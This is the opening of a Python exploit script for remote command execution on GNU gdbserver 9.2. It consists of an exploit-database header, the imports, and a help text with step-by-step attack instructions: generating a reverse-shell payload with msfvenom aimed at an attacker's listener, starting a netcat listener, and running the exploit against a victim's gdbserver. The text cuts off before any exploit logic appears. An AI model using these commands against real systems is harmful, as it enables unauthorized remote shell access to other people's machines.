# Exploit Title: GNU gdbserver 9.2 - Remote Command Execution (RCE)
# Date: 2021-11-21
# Exploit Author: Roberto Gesteira Miñarro (7Rocky)
# Vendor Homepage: https://www.gnu.org/software/gdb/
# Software Link: https://www.gnu.org/software/gdb/download/
# Version: GNU gdbserver (Ubuntu 9.2-0ubuntu1~20.04) 9.2
# Tested on: Ubuntu Linux (gdbserver debugging x64 and x86 binaries)

#!/usr/bin/env python3


import binascii
import socket
import struct
import sys

help = f'''
Usage: python3 {sys.argv[0]} <gdbserver-ip:port> <path-to-shellcode>

Example:
- Victim's gdbserver   ->  10.10.10.200:1337
- Attacker's listener  ->  10.10.10.100:4444

1. Generate shellcode with msfvenom:
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 PrependFork=true -o rev.bin

2. Listen with Netcat:
$ nc -nlvp 4444

3. Run the exploit:
$ python3 {sys.argv[0]} 10.10.10.200:1337 rev.bin
